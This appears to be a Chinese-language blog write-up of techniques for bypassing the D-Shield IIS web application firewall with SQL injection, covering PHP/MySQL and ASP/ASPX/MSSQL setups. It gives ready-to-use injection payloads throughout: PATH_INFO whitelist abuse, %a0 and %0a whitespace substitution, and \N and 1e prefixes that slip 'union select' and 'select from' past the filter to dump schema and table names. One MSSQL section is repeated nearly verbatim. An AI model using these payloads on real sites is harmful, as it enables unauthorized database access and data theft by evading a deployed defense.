D盾IIS防火墙,目前只支持Win2003服务器
IIS+PHP+MYSQL
绕过姿势一:白名单
PHP中的PATH_INFO问题,简单来说呢,就是 http:/x.x.x.x/3.php?id=1 等价于 http://x.x.x.x/3.
php/xxxxxxxxxxxxx?id=1
从白名单中随便挑个地址加在后面,可成功bypass,http://10.9.10.206/3.php/admin.ph
p?id=1 union select 1,2,schema_name from information_schema.SCHEMATA 经测试,GET、POST、COOKIE均有效
绕过姿势二:空白字符
Mysql中可以利用的空白字符有:%09,%0a,%0b,%0c,%0d,%20,%a0; 测试了一下,基本上
针对MSSQL的[0x01-0x20]都被处理了,唯独在Mysql中还有一个%a0可以利用,可以看到%a0与select合体,无法识别,从而绕过。
id=1 union%a0select 1,2,3 from admin
绕过姿势三:\N形式
主要思考问题,如何绕过union select以及select from? 如果说上一个姿势是union和select之
间的位置的探索,那么是否可以考虑在union前面进行检测呢? 为此在参数与union的位置,经测试,发现\N可以绕过union select检测,同样方式绕过select from的检测。
id=\Nunion(select 1,schema_name,\Nfrom information_schema.schemata)
IIS+ASP/ASPX+MSSQL
绕过姿势一:白名单
ASPX:与PHP类似 /1.aspx/admin.php?id=1
union select 1,'2',TABLE_NAME from INFORMATION_SCHEMA.TABLES 可成功bypass
绕过姿势二:空白字符 Mssql可以利用的空白字符有:
01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20 [0x01-
0x20]全部都被处理了,想到mysql %a0的漏网之鱼是否可以利用一下? ASP+MSSQL: 不支持%a0, ASPX+MSSQL: %a0+%0a配合,可成功绕过union select的检测
id=1 union%a0%0aselect 1,'2',TABLE_NAME %a0from INFORMATION_SCHEMA.TABLES
绕过姿势二:空白字符
Mssql可以利用的空白字符有:
01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20 [0x01-
0x20]全部都被处理了,想到mysql %a0的漏网之鱼是否可以利用一下? ASP+MSSQL: 不支持%a0。
ASPX+MSSQL: %a0+%0a配合,可成功绕过union select的检测 id=1 union%a0%0aselect 1,'2',TABLE_NAME
绕过姿势三:1E形式
MSSQL属于强类型,这边的绕过是有限制,from前一位显示位为数字类型,这样才能用1efrom绕过select from。
只与数据库有关,与语言无关,故ASP与ASPX一样,可bypass,
id=1eunion select '1',TABLE_NAME,1efrom INFORMATION_SCHEMA.TABLES